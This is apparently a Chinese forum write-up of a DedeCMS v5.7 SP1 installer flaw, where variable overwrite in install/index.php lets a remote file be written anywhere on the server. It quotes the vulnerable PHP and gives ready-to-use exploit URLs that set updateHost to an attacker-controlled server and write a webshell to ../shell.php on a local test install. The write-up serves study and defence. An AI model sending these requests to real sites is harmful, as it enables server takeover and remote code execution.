第九章:发现线索! #考点:变量覆盖+远程文件包含=前台任意代码执行 (Rank: 15)

18534715561   ·   发表于 2019-07-05 14:32:38   ·   技术文章投稿区

dedecmsv5.7sp1远程文件包含漏洞审


分析代码 install/index.php(index.php.bak)   

1.变量覆盖

30-33行

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}

$$   这是一个变量覆盖的地方    传参 ?a=1     则$_k=a         $_v=1   $$_k=$a

这样就可以成功的覆盖变量 $a


function RunMagicQuotes(&$str)
{
    if(!get_magic_quotes_gpc()) {
        if( is_array($str) )
            foreach($str as $key => $val) $str[$key] = RunMagicQuotes($val);
        else
            $str = addslashes($str);
    }
    return $str;
}

这是相关的处理函数,没什么太大意义   


最终如果你传参  ?a=1    那么就会达到这样的效果   $a=1




2.结合变量覆盖达到任意文件写入

374-388 行

else if($step==11)
{
    require_once('../data/admin/config_update.php'); //包含一个文件
    $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; //结合包含文件的参数构成一个地址
    
    $sql_content = file_get_contents($rmurl);  //打开$rmurl 这个路径下的文件,并将整个文件读入一个字符串中

   $fp = fopen($install_demo_name,'w');   //以写入的方式打开文件:$install_demo_name

    if(fwrite($fp,$sql_content)) //将$sql_content 写入到$fp之中

       echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
    else
        echo '&nbsp; <font color="red">[×]</font> 远程获取失败';
    unset($sql_content);
    fclose($fp);
    exit();
}

可以看出最后会将$updateHost."dedecms/demodata.{$s_lang}.txt"  文件 写入到  $fp = fopen($install_demo_name,'w');
  这个文件之中,$updateHost   这个是一个ip地址或者是域名,结合前面的变量覆盖可以修改这个地址, $fp 的路径可以随意改写,所以现在可以将远程的一个文件写入到服务器的任意地址之中



3.开始攻击服务器

1.访问http://127.0.0.1/2/DedeCMS-V5.7-UTF8-SP1/uploads/install/index.php(index.php.bak)查看文件是否存在


2.删除install_lock.txt   ,否则index.php 将无法运行,所以我感觉这个漏洞特别的鸡肋,谁会没事删除一个自己不清楚的文件


3.http://127.0.0.1/2/DedeCMS-V5.7-UTF8-SP1/uploads/install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../data/admin/config_update.php

&s_lang&insLockfile  的参数必须一样,这两个参数的值是evi1code,那么就在文件夹下面建立  http://127.0.0.1/dedecms/demodata.evi1code.txt这样的文件,在/demodata.evi1code.txt下面写入执行代码或者一句话




4.http://127.0.0.1/2/DedeCMS-V5.7-UTF8-SP1/uploads/install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../shell.php&updateHost=http://127.0.0.1/

这个url可以将http://127.0.0.1/dedecms/demodata.evi1code.txt 这个txt中的内容写入到../shell.php之中

&updateHost=http://127.0.0.1/ 经过变量覆盖 得到这样的结果  $updateHost=http://127.0.0.1/


这样就造成了远程文件包含漏洞






网上几乎没有这个版本的源码,不过可以下载一个同一版本的源码,稍作修改得到又漏洞的源码



打赏我,让我更有动力~

Attachment List

DedeCMS-V5.7-UTF8-SP1.tar.rar   File Size:8.198M (Download Count:4)

0 Reply   |  Until 2019-7-5 | 810 View
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.